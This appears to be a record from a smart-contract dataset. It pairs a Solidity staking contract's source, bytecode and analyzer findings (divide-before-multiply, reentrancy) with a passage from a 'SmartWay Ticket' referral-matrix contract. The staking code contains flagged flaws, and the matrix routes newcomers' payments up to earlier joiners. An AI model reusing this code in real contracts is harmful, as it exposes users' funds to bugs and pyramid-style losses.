stakers[msg.sender].stakedAmount = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount);
TeamFeesCollector = TeamFeesCollector.add(_stakingFee);
stakers[msg.sender].creationTime = block.timestamp;
stakers[msg.sender].lastClaim = stakers[msg.sender].creationTime;
stakers[msg.sender].MyTotalStaked = stakers[msg.sender].MyTotalStaked.add((tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount));
TotalStakedETH = TotalStakedETH.add((tokens).sub(_stakingFee));
emit STAKED(msg.sender, (tokens).sub(_stakingFee), _stakingFee);
return true;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external nonReentrant {
require(stakers[msg.sender].stakedAmount >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercentofTokens(tokens).mul(UnstakingFee)).div(10);
TeamFeesCollector= TeamFeesCollector.add(_unstakingFee);
uint256 owing = 0;
require(COC(stakeTokenAdd).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedAmount = (stakers[msg.sender].stakedAmount).sub(tokens);
owing = TotalStakedETH;
TotalStakedETH = owing.sub(tokens);
stakers[msg.sender].creationTime = block.timestamp;
stakers[msg.sender].lastClaim = stakers[msg.sender].creationTime;
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercentofTokens(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePerc = roundValue.mul(100).div(100 * 10**uint(2));
return onePerc;
}
function calPercentofTokens(uint256 _tokens, uint256 cust) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint256 custPercentofTokens = roundValue.mul(cust).div(100 * 10**uint(2));
return custPercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedToken(address staker) external view returns(uint256 stakedT){
return stakers[staker].stakedAmount;
}
// ------------------------------------------------------------------------
// Get the TOKEN balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourTokenBalance(address user) external view returns(uint256 TBalance){
return COC(stakeTokenAdd).balanceOf(user);
}
function setPercent(uint256 percent) external onlyOwner {
require(percent < 30);
if(percent >= 1)
{
WeekRewardPercent = percent;
emit PERCENTCHANGED(msg.sender, percent);
}
}
function OwnerTeamFeesCollectorRead() external view returns(uint256 jKeeper) {
return TeamFeesCollector;
}
function yourDailyReward(address user) external view returns(uint256 RewardBalance){
uint256 timeToday = block.timestamp - creationTimeContract; //what day it is
uint256 timeT = timeToday.div(86400);
if(stakers[user].stakedAmount > 0)
{
// if(timeT > 0)
{
uint256 rewardToGive = calculateReward(timeT,user);
return rewardToGive;
}//else
//{
// return 0;
//}
}
else
{
return 0;
}
}
function MyTotalRewards(address user) external view returns(uint256 poolreward)
{
if(stakers[user].stakedAmount > 0)
{
uint256 timeToday = block.timestamp - creationTimeContract;
uint256 timeT = timeToday.div(86400);
if(timeT > 59)
{
return 0;
}
else
{
uint256 staked = SafeMath.mul(470000000000000000000, (stakers[user].stakedAmount)).div(TotalStakedETH);
return staked;
}
}
else
return 0;
}
function CLAIMREWARD() external {
uint256 timeToday = block.timestamp - creationTimeContract; //what day it is
uint256 timeT = timeToday.div(86400);
require(stakers[msg.sender].stakedAmount > 0,"you need to stake some coins");
//require(timeT > 0,"Claim Time has not started yet");
uint256 rewardToGive = calculateReward(timeT,msg.sender);
require(MOJITO(rewardToken).transfer(msg.sender,rewardToGive), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, rewardToGive);
stakers[msg.sender].TotalMRewarded = (stakers[msg.sender].TotalMRewarded).add(rewardToGive);
stakers[msg.sender].lastClaim = block.timestamp;
TotalMRewards = TotalMRewards.add(rewardToGive);
}
function calculateReward(uint timeday, address user) private view returns(uint256 rew){
uint256 totalReward = 0;
if(timeday>60) //check reward for 0 day
{
uint256 daystocheck = stakers[user].lastClaim - creationTimeContract;
uint256 daysCount = daystocheck.div(86400);
daystocheck = 60 - daysCount;
for(uint i =daystocheck; i<60; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
totalReward = totalReward.add(rewardpday);
}
}else
{
uint256 daystocheck = stakers[user].lastClaim - creationTimeContract; //when did user last withdrew funds
uint256 daysCount = daystocheck.div(86400);
uint256 daystogive = block.timestamp - creationTimeContract; //check what day it is
uint256 daysCounts = daystogive.div(86400);
if(stakers[user].lastClaim == stakers[user].creationTime)
{
uint256 somthing = daysCount * 86400;
daystogive = 0;
if(somthing == 0 )
{
// daystogive = 86400 - daystocheck;
daystogive = block.timestamp - stakers[user].lastClaim;
}
else{
daystogive = daystocheck.sub(somthing);
}
if(daysCount == daysCounts)
{
totalReward = (((stakers[user].stakedAmount)*(rewardperday[daysCounts]))).div(TotalStakedETH);
totalReward = (totalReward.mul(daystogive)).div(86400);
}
else
{
for(uint i = daysCount; i<daysCounts; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
if(i == daysCount)
{
rewardpday = (rewardpday.mul(daystogive)).div(86400);
}
totalReward = totalReward.add(rewardpday);
}
}
}
else
{
if(daysCount == daysCounts)
{
daystogive = block.timestamp - stakers[user].lastClaim;
totalReward = (((stakers[user].stakedAmount)*(rewardperday[daysCounts]))).div(TotalStakedETH);
totalReward = (totalReward.mul(daystogive)).div(86400);
}
else{
for(uint i = daysCount; i<daysCounts; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
totalReward = totalReward.add(rewardpday);
}
}
}
}
return totalReward;
}
function TotalPoolRewards() external pure returns(uint256 tpreward)
{
return 1500000000000000000000;
}
function MyTotalStaked(address user) external view returns(uint256 totalstaked)
{
return stakers[user].MyTotalStaked;
}
function CurrentTokenReward() external view returns(uint256 crrtr)
{
uint256 timeToday = block.timestamp - creationTimeContract;
uint256 timeT = timeToday.div(86400);
if(timeT > 60)
{
return 0;
}
else
{
return rewardperday[timeT];
}
}
function TotalClaimedReward() external view returns (uint256 TotalM)
{
return TotalMRewards;
}
function SetStakeFee(uint256 percent) external onlyOwner {
require(percent < 10);
StakingFee = percent;
}
function SetUNStakeFee(uint256 percent) external onlyOwner {
require(percent < 10);
UnstakingFee = percent;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80637a703d2f116100c3578063b290c1351161007c578063b290c13514610583578063b737b74c146105a1578063c9a92a07146105bf578063ca84d591146105dd578063f2fde38b14610621578063f7c618c11461066557610158565b80637a703d2f1461046357806383185e7c146104815780638da5cb5b1461049f5780639168ae72146104d35780639f2d5a9514610547578063a85ab3831461056557610158565b80633284d86e116101155780633284d86e146102f55780633e1da8bd146103235780634baf782e1461037b57806355a3b2c1146103855780636f60965d146103dd5780637154b8b51461043557610158565b806316ae60d61461015d5780631a713b22146101b5578063257c07931461020d5780632920c4ad146102655780632beb811a146102995780632c75bcda146102c7575b600080fd5b61019f6004803603602081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610699565b6040518082815260200191505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610766565b6040518082815260200191505060405180910390f35b61024f6004803603602081101561022357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107b2565b6040518082815260200191505060405180910390f35b61026d6108b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c5600480360360208110156102af57600080fd5b81019080803590602001909291905050506108dd565b005b6102f3600480360360208110156102dd57600080fd5b810190808035906020019092919050505061094c565b005b6103216004803603602081101561030b57600080fd5b8101908080359060200190929190505050610e67565b005b6103656004803603602081101561033957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b610383610f6a565b005b6103c76004803603602081101561039b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bf565b6040518082815260200191505060405180910390f35b61041f600480360360208110156103f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d7565b6040518082815260200191505060405180910390f35b6104616004803603602081101561044b57600080fd5b8101908080359060200190929190505050611323565b005b61046b6113f0565b6040518082815260200191505060405180910390f35b6104896113f6565b6040518082815260200191505060405180910390f35b6104a7611400565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611424565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b61054f61145a565b6040518082815260200191505060405180910390f35b61056d61146b565b6040518082815260200191505060405180910390f35b61058b6114c3565b6040518082815260200191505060405180910390f35b6105a96114c9565b6040518082815260200191505060405180910390f35b6105c76114d3565b6040518082815260200191505060405180910390f35b610609600480360360208110156105f357600080fd5b81019080803590602001909291905050506114d9565b60405180821515815260200191505060405180910390f35b6106636004803603602081101561063757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a45565b005b61066d611b3a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d602081101561074e57600080fd5b81019080805190602001909291905050509050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156108ad57600060085442039050600061081f6201518083611b5290919063ffffffff16565b9050603b811115610835576000925050506108b2565b60006108a060035461089268197a8f6dd551980000600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611b9c565b611b5290919063ffffffff16565b90508093505050506108b2565b600090505b919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093557600080fd5b600a811061094257600080fd5b8060058190555050565b600060149054906101000a900460ff166109ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60008060146101000a81548160ff02191690831515021790555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410158015610a3a5750600081115b610aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b6000610ade600a610ad0600554610ac286611c22565b611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9050610af581600654611c7690919063ffffffff16565b6006819055506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b4f8587611cfe90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050506040513d6020811015610bcc57600080fd5b8101908080519060200190929190505050610c4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b610ca483600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611cfe90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506003549050610d028382611cfe90919063ffffffff16565b60038190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055507faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa233610e0d8486611cfe90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150506001600060146101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ebf57600080fd5b600a8110610ecc57600080fd5b8060048190555050565b600080600854420390506000610ef86201518083611b5290919063ffffffff16565b90506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115610f5e576000610f518286611d48565b9050809350505050610f65565b6000925050505b919050565b6000600854420390506000610f8b6201518083611b5290919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f796f75206e65656420746f207374616b6520736f6d6520636f696e730000000081525060200191505060405180910390fd5b60006110518233611d48565b905073da579367c6ca7854009133d1b3739020ba350c2373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b505050506040513d602081101561110257600080fd5b8101908080519060200190929190505050611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806124d0602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a161121281600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506112b481600154611c7690919063ffffffff16565b600181905550505050565b600a6020528060005260406000206000915090505481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137b57600080fd5b601e811061138857600080fd5b600181106113ed57806002819055507f3bc0a290dd50b0e5aa5165e0f5861e62db7ba24f8383e760f70170f338e283d43382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b50565b60035481565b6000600654905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b6000685150ae84a8cdf00000905090565b60008060085442039050600061148d6201518083611b5290919063ffffffff16565b9050603c8111156114a3576000925050506114c0565b600b81815481106114b057fe5b9060005260206000200154925050505b90565b60025481565b6000600154905090565b60085481565b60008060149054906101000a900460ff1661155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60008060146101000a81548160ff021916908315150217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561162757600080fd5b505af115801561163b573d6000803e3d6000fd5b505050506040513d602081101561165157600080fd5b81019080805190602001909291905050506116b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061251d602e913960400191505060405180910390fd5b60006116e9600a6116db6004546116cd87611c22565b611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9050611752600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546117448386611cfe90919063ffffffff16565b611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506117ad81600654611c7690919063ffffffff16565b60068190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061193e6118ed600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118df8487611cfe90919063ffffffff16565b611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506119ab61199a8285611cfe90919063ffffffff16565b600354611c7690919063ffffffff16565b6003819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c336119e68386611cfe90919063ffffffff16565b83604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a160019150506001600060146101000a81548160ff021916908315150217905550919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b73da579367c6ca7854009133d1b3739020ba350c2381565b6000611b9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232e565b905092915050565b600080831415611baf5760009050611c1c565b6000828402905082848281611bc057fe5b0414611c17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124fc6021913960400191505060405180910390fd5b809150505b92915050565b600080611c396064846123f490919063ffffffff16565b90506000611c6a6002600a0a606402611c5c606485611b9c90919063ffffffff16565b611b5290919063ffffffff16565b90508092505050919050565b600080828401905083811015611cf4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611d4083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061240f565b905092915050565b60008060009050603c841115611e71576000600854600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301540390506000611dbb6201518083611b5290919063ffffffff16565b905080603c03915060008290505b603c811015611e69576000611e44600354600b8481548110611de757fe5b9060005260206000200154600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b9050611e598186611c7690919063ffffffff16565b9450508080600101915050611dc9565b505050612324565b6000600854600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301540390506000611ed46201518083611b5290919063ffffffff16565b90506000600854420390506000611ef76201518083611b5290919063ffffffff16565b9050600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156121875760006201518084029050600092506000811415611fe857600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015442039250611ffe565b611ffb8186611cfe90919063ffffffff16565b92505b818414156120a757612076600354600b848154811061201957fe5b9060005260206000200154600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b95506120a0620151806120928589611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9550612181565b60008490505b8281101561217f576000612127600354600b84815481106120ca57fe5b9060005260206000200154600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b90508582141561215c576121596201518061214b8784611b9c90919063ffffffff16565b611b5290919063ffffffff16565b90505b61216f8189611c7690919063ffffffff16565b97505080806001019150506120ad565b505b5061231f565b8083141561227757600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015442039150612246600354600b83815481106121e957fe5b9060005260206000200154600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b9450612270620151806122628488611b9c90919063ffffffff16565b611b5290919063ffffffff16565b945061231e565b60008390505b8181101561231c5760006122f7600354600b848154811061229a57fe5b9060005260206000200154600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b905061230c8188611c7690919063ffffffff16565b965050808060010191505061227d565b505b5b505050505b8091505092915050565b600080831182906123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561239f578082015181840152602081019050612384565b50505050905090810190601f1680156123cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816123e657fe5b049050809150509392505050565b600081826001848601038161240557fe5b0402905092915050565b60008383111582906124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612481578082015181840152602081019050612466565b50505050905090810190601f1680156124ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74a264697066735822122028af9b62ce84e0e98e951db2a21bd5a90467b3bd30da1cf2feee72da8afad21e64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,481 |
0x9ac0b3cfaa4d2371e7979ae9b042c58b2e8939b6
|
// SmartWay Ticket
// https://dappticket.com
//
/// SPDX-License-Identifier: MIT
pragma solidity =0.7.2;
contract Ticket {
uint256 public uid = 1;
uint8 public constant MAX_LEVEL = 12; // Maximum number of levels
uint256 public constant LEFT_PRICE = 0.025 ether; // Starting price
enum Site {X3, X4}
struct X3 {
uint8 status; // 0: nonactivated; 1: open; 2: open and blocked;
uint256 reinvestCount;
address[] points;
address ref;
}
struct X4 {
uint8 status; // 0: nonactivated; 1: open; 2: open and blocked;
uint256 reinvestCount;
address[] firstPoints;
address[] leftPoints;
address[] rightPoints;
address ref;
}
struct User {
uint256 id;
address referrer;
uint256 partnersCount;
mapping(uint8 => X3) x3Site;
mapping(uint8 => X4) x4Site;
}
enum Relation {
Direct, // 0 Match to management account
Partner, // 1 Normally matched
Slide, // 2
Gift // The junior partner surpasses his superior
}
event NewUser(
address indexed _user,
address indexed _referrer,
uint8 level
);
event Transfer(
Site indexed _matrix,
address indexed _from,
address indexed _to,
uint256 _amount,
uint8 _level,
bool blocked,
uint256 _skip
);
event IndexUser(
Site indexed _matrix,
address indexed _user,
address indexed _referrer,
address _partner,
uint8 _level,
uint256 _skip,
Relation _relation,
uint8 _buyAgain,
uint8 _pointLevel,
uint256 _reinvestNumber,
bool _active
);
address public owner;
mapping(uint8 => uint256) public levelPrice;
mapping(address => User) public users;
mapping(uint256 => address) public userIDToAddress;
constructor(address _ownerAddress) {
owner = _ownerAddress;
levelPrice[1] = LEFT_PRICE;
for (uint8 i = 2; i <= MAX_LEVEL; i++) {
levelPrice[i] = levelPrice[i - 1] * 2;
}
createUser(_ownerAddress, address(0x0), MAX_LEVEL);
}
receive() external payable {
if (msg.data.length == 0) {
register(msg.sender, owner);
return;
}
register(msg.sender, bytesToAddress(msg.data));
}
function bytesToAddress(bytes memory bys)
private
pure
returns (address addr)
{
assembly {
addr := mload(add(bys, 20))
}
}
function register(address ref) external payable returns (bool) {
return register(msg.sender, ref);
}
function register(address userAddress, address ref) private returns (bool) {
require(msg.value == LEFT_PRICE * 2, "Wrong registration cost.");
require(!isUserExists(userAddress), "User exists.");
require(isUserExists(ref), "Referrer not exists.");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "Cannot be a contract");
createUser(userAddress, ref, 1);
// X3
x3Transfer(userAddress, ref, 1, LEFT_PRICE);
// X4
x4Transfer(userAddress, ref, 1, LEFT_PRICE);
return true;
}
function createUser(
address userAddress,
address ref,
uint8 level
) private returns (uint256 userID) {
require(level <= MAX_LEVEL, "Level exceeds maximum limit.");
userIDToAddress[uid] = userAddress;
User storage user = users[userAddress];
user.id = uid;
user.referrer = ref;
for (uint8 i = 1; i <= level; i++) {
user.x3Site[i].status = 1;
user.x4Site[i].status = 1;
}
if (ref != address(0x0)) {
users[ref].partnersCount++;
}
userID = uid;
uid++;
emit NewUser(userAddress, ref, level);
}
function buyX3Level(uint8 level) public payable {
buyNewLevel(Site.X3, level);
}
function buyX4Level(uint8 level) public payable {
buyNewLevel(Site.X4, level);
}
function buyNewLevel(Site matrix, uint8 level) private {
uint256 amount = levelPrice[level];
require(level > 1 && level <= MAX_LEVEL, "Invalid level.");
require(msg.value == amount, "Invalid price.");
require(
isUserExists(msg.sender),
"User does not exist, please register first."
);
if (matrix == Site.X3) {
require(
users[msg.sender].x3Site[level].status == 0,
"The current X3 level has been activated."
);
require(
users[msg.sender].x3Site[level - 1].status > 0,
"Can not leapfrog upgrade."
);
x3Transfer(msg.sender, users[msg.sender].referrer, level, amount);
users[msg.sender].x3Site[level].status = 1;
users[msg.sender].x3Site[level - 1].status = 1;
} else {
require(
users[msg.sender].x4Site[level].status == 0,
"The current X4 level has been activated."
);
require(
users[msg.sender].x4Site[level - 1].status > 0,
"Can not leapfrog upgrade."
);
x4Transfer(msg.sender, users[msg.sender].referrer, level, amount);
users[msg.sender].x4Site[level].status = 1;
users[msg.sender].x4Site[level - 1].status = 1;
}
}
// x3Transfer
function x3Transfer(
address userAddress,
address ref,
uint8 level,
uint256 amount
) private {
(address receiver, uint256 skip) = updateX3(userAddress, ref, level, 0);
transfer(Site.X3, level, userAddress, receiver, skip, amount);
}
function transfer(
Site matrix,
uint8 level,
address from,
address receiver,
uint256 skip,
uint256 amount
) private {
if (matrix == Site.X3) {
while (true) {
X3 memory x3 = users[receiver].x3Site[level];
if (x3.status == 2) {
// blocked
emit Transfer(
matrix,
from,
receiver,
amount,
level,
true,
skip
);
receiver = x3.ref;
} else {
break;
}
}
} else {
while (true) {
X4 memory x4 = users[receiver].x4Site[level];
if (x4.status == 2) {
// blocked
emit Transfer(
matrix,
from,
receiver,
amount,
level,
true,
skip
);
receiver = x4.ref;
} else {
break;
}
}
}
emit Transfer(matrix, from, receiver, amount, level, false, skip);
address(uint160(receiver)).transfer(amount);
}
// x3 update
// @userAddress Register or upgrade user address
// @return The address to receive funds
function updateX3(
address userAddress,
address referrer,
uint8 level,
uint256 skip
) private returns (address, uint256) {
address ref = findX3ActiveReferrer(referrer, level);
User storage user = users[userAddress];
X3 storage x3 = users[ref].x3Site[level];
Relation relation = Relation.Direct;
if (ref != referrer) {
relation = Relation.Gift;
}
if (user.x3Site[level].ref != ref) {
user.x3Site[level].ref = ref;
}
if (x3.points.length < 2) {
x3.points.push(userAddress);
emit IndexUser(
Site.X3,
userAddress,
ref,
address(0x0),
level,
skip,
relation,
0,
1,
x3.reinvestCount,
x3.status == 1
);
return (ref, skip);
}
x3.points = new address[](0);
x3.reinvestCount++;
if (ref == owner) {
emit IndexUser(
Site.X3,
userAddress,
ref,
address(0x0),
level,
skip,
relation,
1,
1,
x3.reinvestCount - 1,
true
);
return (ref, skip);
}
if (
level < MAX_LEVEL &&
users[ref].x3Site[level + 1].status == 0 &&
x3.status == 1
) {
x3.status = 2;
emit IndexUser(
Site.X3,
userAddress,
ref,
address(0x0),
level,
skip,
relation,
2,
1,
